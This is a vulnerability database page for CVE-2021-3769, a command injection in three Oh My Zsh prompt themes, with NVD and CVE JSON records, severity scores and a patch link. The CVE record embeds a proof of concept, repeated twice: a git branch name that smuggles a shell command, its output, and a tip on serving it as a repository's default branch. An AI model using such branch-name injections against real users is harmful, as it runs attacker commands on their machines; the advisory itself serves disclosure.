Vulnerability-Lookup

FKIE_CVE-2021-3769

Vulnerability from fkie_nvd - Published: 2021-11-30 10:15 - Updated: 2026-06-17 04:05

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme.

References

	URL	Tags
	security@huntr.dev	https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978	Patch, Third Party Advisory
	af854a3a-2127-422b-91ae-364da2661108	https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978	Patch, Third Party Advisory

Impacted products

	Vendor	Product	Version
	planetargon	oh_my_zsh	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "ohmyzsh/ohmyzsh",
          "vendor": "ohmyzsh",
          "versions": [
            {
              "lessThan": "b3ba9978",
              "status": "affected",
              "version": "unspecified",
              "versionType": "custom"
            }
          ]
        }
      ],
      "source": "security@huntr.dev"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:planetargon:oh_my_zsh:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "80FD5E81-3E73-4921-925C-E55098EAE4B1",
              "versionEndExcluding": "2021-11-11",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme."
    },
    {
      "lang": "es",
      "value": "# Vulnerabilidad en los temas \"pygmalion\", \"pygmalion-virtualenv\" y \"refined\" **Descripci\u00f3n**: estos temas usan \"print -P\" en las cadenas proporcionadas por el usuario para imprimirlas en la terminal. Todos ellos lo hacen sobre la informaci\u00f3n de git, particularmente el nombre de la rama, por lo que si la rama presenta un nombre especialmente dise\u00f1ado la vulnerabilidad puede ser explotada. **Corregido en**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **\u00c1reas afectadas**: - Tema \"pygmalion\". - Tema \"pygmalion-virtualenv\". - Tema \"refined\""
    }
  ],
  "id": "CVE-2021-3769",
  "lastModified": "2026-06-17T04:05:43.770",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "HIGH",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "COMPLETE",
          "baseScore": 10.0,
          "confidentialityImpact": "COMPLETE",
          "integrityImpact": "COMPLETE",
          "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 10.0,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "security@huntr.dev",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2021-11-30T10:15:09.000",
  "references": [
    {
      "source": "security@huntr.dev",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"
    }
  ],
  "sourceIdentifier": "security@huntr.dev",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security@huntr.dev",
      "type": "Secondary"
    }
  ]
}

CVE-2021-3769 (GCVE-0-2021-3769)

Vulnerability from cvelistv5 – Published: 2021-11-30 09:30 – Updated: 2024-08-03 17:09

Title

OS Command Injection in ohmyzsh/ohmyzsh

Summary

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-78 - OS Command Injection

Assigner

@huntrdev CNA

CNA scorecard – unranked: 0 records in the last 180 days, 10 needed details

References

1 reference

URL	Tags
https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
ohmyzsh	ohmyzsh/ohmyzsh	Affected: unspecified , < b3ba9978 (custom)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T17:09:08.686Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ohmyzsh/ohmyzsh",
          "vendor": "ohmyzsh",
          "versions": [
            {
              "lessThan": "b3ba9978",
              "status": "affected",
              "version": "unspecified",
              "versionType": "custom"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Enable the `pygmalion`, `pygmalion-virtualenv` or `refined` themes.\n3. Create and `cd` into a new git repository: `git init bad-repo \u0026\u0026 cd bad-repo`.\n4. Create and switch to a new branch with a name containing either `$(\u003cinjected-command\u003e`, \u003ccode\u003e\\`\\\u003cinjected-command\\\u003e\\`\u003c/code\u003e or `${(e):-\"\u003cinjected-command\u003e\"}`:\n\n   ```sh\n   badbranch=\u0027feat/bad-branch$(id\u003e/dev/tty)\u0027\n   git checkout -b \"$badbranch\"\n   ```\n\n   In the `pygmalion` theme, the prompt changes changes from the default branch to:\n\n   ```console\n   user@host:~/exploit-poc|master \u21d2  badbranch=\u0027feat/bad-branch$(id\u003e/dev/tty)\u0027; git checkout -b \"$badbranch\"\n   Switched to a new branch \u0027feat/bad-branch$(id\u003e/dev/tty)\u0027\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   user@host:~/exploit-poc|feat/bad-branch \u21d2 \n   ```\n\n   A similar thing happens in `pygmalion-virtualenv` and `refined` themes.\n\nNOTE: for maximum impact, you can define the malicious branch name as the default branch name in GitHub, so that when a user clones it for the first time and enters the repository, the malicious branch is automatically checked out. That means that the user only needs to clone and enter the repository for the exploit to work."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78 OS Command Injection",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2021-11-30T09:30:18.000Z",
        "orgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
        "shortName": "@huntrdev"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"
        }
      ],
      "title": "OS Command Injection in ohmyzsh/ohmyzsh",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security@huntr.dev",
          "ID": "CVE-2021-3769",
          "STATE": "PUBLIC",
          "TITLE": "OS Command Injection in ohmyzsh/ohmyzsh"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "ohmyzsh/ohmyzsh",
                      "version": {
                        "version_data": [
                          {
                            "version_affected": "\u003c",
                            "version_value": "b3ba9978"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "ohmyzsh"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme."
            }
          ]
        },
        "exploit": [
          {
            "lang": "en",
            "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Enable the `pygmalion`, `pygmalion-virtualenv` or `refined` themes.\n3. Create and `cd` into a new git repository: `git init bad-repo \u0026\u0026 cd bad-repo`.\n4. Create and switch to a new branch with a name containing either `$(\u003cinjected-command\u003e`, \u003ccode\u003e\\`\\\u003cinjected-command\\\u003e\\`\u003c/code\u003e or `${(e):-\"\u003cinjected-command\u003e\"}`:\n\n   ```sh\n   badbranch=\u0027feat/bad-branch$(id\u003e/dev/tty)\u0027\n   git checkout -b \"$badbranch\"\n   ```\n\n   In the `pygmalion` theme, the prompt changes changes from the default branch to:\n\n   ```console\n   user@host:~/exploit-poc|master \u21d2  badbranch=\u0027feat/bad-branch$(id\u003e/dev/tty)\u0027; git checkout -b \"$badbranch\"\n   Switched to a new branch \u0027feat/bad-branch$(id\u003e/dev/tty)\u0027\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...\n   user@host:~/exploit-poc|feat/bad-branch \u21d2 \n   ```\n\n   A similar thing happens in `pygmalion-virtualenv` and `refined` themes.\n\nNOTE: for maximum impact, you can define the malicious branch name as the default branch name in GitHub, so that when a user clones it for the first time and enters the repository, the malicious branch is automatically checked out. That means that the user only needs to clone and enter the repository for the exploit to work."
          }
        ],
        "impact": {
          "cvss": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-78 OS Command Injection"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978",
              "refsource": "MISC",
              "url": "https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
    "assignerShortName": "@huntrdev",
    "cveId": "CVE-2021-3769",
    "datePublished": "2021-11-30T09:30:18.000Z",
    "dateReserved": "2021-09-05T00:00:00.000Z",
    "dateUpdated": "2024-08-03T17:09:08.686Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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FKIE_CVE-2021-3769

CVE-2021-3769 (GCVE-0-2021-3769)

Tags

Sightings

Nomenclature

Related by attack behaviour